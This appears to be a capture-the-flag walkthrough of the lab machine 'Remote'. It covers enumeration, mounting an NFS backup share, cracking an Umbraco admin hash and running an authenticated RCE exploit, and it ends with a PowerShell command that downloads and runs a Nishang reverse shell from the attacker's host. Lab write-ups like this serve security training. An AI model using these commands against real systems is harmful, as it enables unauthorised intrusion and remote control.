Remote is an easy difficulty Windows machine that features an Umbraco CMS installation. Credentials are found in a world-readable NFS share. Using these, an authenticated Umbraco CMS exploit is leveraged to gain a foothold. A vulnerable TeamViewer version is identified, from which we can gain a password. This password has been reused with the local administrator account. Using psexec with these credentials returns a SYSTEM shell.

Enumeration

First I check for available open ports.

nmap -p- --min-rate=10000 10.10.10.180

nmap -sC -sV -p21,22,80,135,139,445,5985,39517 10.10.10.180 -oA ./nmap/remote

|Ports|Service
|21| ftp Microsoft ftpd
|80| http Microsoft HTTPAPI httpd 2.0
|111| rpcbind
|139| netbios-ssn Microsoft Windows netbios-ssn
|445| microsoft-ds
|2049| nlockmgr
|5985| Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

First I checked the FTP server. It allowed for anonymous login but it was empty.

Next, I check out the website. On the /people there are some names we can take notes of.

I ran dirsearch in the background and found some interesting directories.

1	dirsearch -u http://10.10.10.180 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -t 20 -f -e php,txt,html,aspx

We can find a login page at /umbraco which is a CME.

We can find a NFS share.

Let’s mount the share.

1
2
3

mkdir target-NFS
sudo mount -t nfs 10.10.10.180:/site_backups ./target-NFS -o nolock
cd target-NFS

Foothold

After looking for a bit I found Umbraco.sdf and we can password hashes for users inside it

I used crackstation

Creds → [email protected] : baconandcheese

I can now log into the website admin panel.

After looking for a bit I found this authenticated RCE exploit from ExploitDB. I downloaded the Python file and checked out the payload.
It takes the user and password for authentication, takes the type of shell and uses arguments to execute.

We have RCE on the server now.

1	python3 payload.py -u "[email protected]" -p "baconandcheese" -i "http://10.10.10.180" -c powershell.exe -a "whoami"

Next, I used Nishang Invoke-PowerShellTcp.ps1 to get a shell.

At the bottom of the PowerShell script, I added my reverse shell IP and port.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.16 -Port 4444

Then hosted the payload using the python3 server.

python3 -m http.server

After that I used RCE payload to download my PowerShell script and get a shell

python3 payload.py -u "[email protected]" -p "baconandcheese" -i "http://10.10.10.180" -c powershell.exe -a "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.16:8000/Invoke-PowerShellTcp.ps1')"